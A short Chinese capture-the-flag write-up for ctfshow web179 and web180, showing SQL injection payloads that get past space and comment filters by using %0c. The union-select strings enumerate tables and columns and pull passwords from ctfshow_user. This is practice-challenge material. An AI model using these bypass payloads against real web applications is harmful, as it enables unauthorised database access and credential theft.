ctfshow web179,180

本题跟前几道题一样对--+和空格进行过滤,但是对空格的过滤更加严格,/**/和%09已经失效我们尝试使用%0c发现可以绕过

1'%0corder%0cby%0c4%23

可以判断出这个的字段数为3

-1'%0cunion%0cselect%0c1,database(),3%23

-1'%0cunion%0cselect%0c1,table_name,3%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()%23

-1'%0cunion%0cselect%0c1,column_name,3%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'%23

-1'%0cunion%0cselect%0c1,'hack',password%0cfrom%0cctfshow_user%23

就得到了flag

最后payload语句构造为-1' union SELECT 1,'hack',password from ctfshow_user--+

是因为题目提示我们username不能为flag所以为了让username中不出现flag我们手动把他改为'字符',这个字符可以自定义

180题将--+和%23都过滤了我们可以尝试--空格过滤,但是空格也被限制了所以我们尝试使用%0c来绕过

-1'%0cunion%0cselect%0c1,column_name,3%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'--%0c

-1'union%0cselect%0c1,'ah',password%0cfrom%0cctfshow_user--%0c

相关推荐
Hello World . .4 分钟前
【嵌入式学习笔记 Day 1】
linux·数据结构·笔记
小向是个Der5 分钟前
P02_你的变量住在哪里_教学文档
经验分享·笔记·stm32·单片机
叼烟扛炮5 分钟前
Linux 学习笔记(三十一):线程概念、底层分页机制与初体验
linux·运维·服务器·笔记·学习·1024程序员节
星恒随风6 分钟前
Linux Socket UDP编程(一):手写UDP回显服务器与客户端,从socket、bind、recvfrom到网络字典服务器完整实战
linux·服务器·网络·笔记
凉、介19 分钟前
深入理解 ARMv7-M | 异常/中断处理
笔记·学习·嵌入式·arm
蒸蒸yyyyzwd20 分钟前
工具、力扣、中间件学习笔记
笔记·八股
深圳老胡22 分钟前
液面探测功能的硬件方案对比:原理、优缺点与选型建议
笔记·单片机
凉、介29 分钟前
深入理解 ARMv7-M|处理器模式与寄存器
笔记·学习·嵌入式·arm
蒸蒸yyyyzwd41 分钟前
三个场景题-秋招学习笔记 day86
笔记·八股
沉淀的.晴天2 小时前
ESP32S3笔记
笔记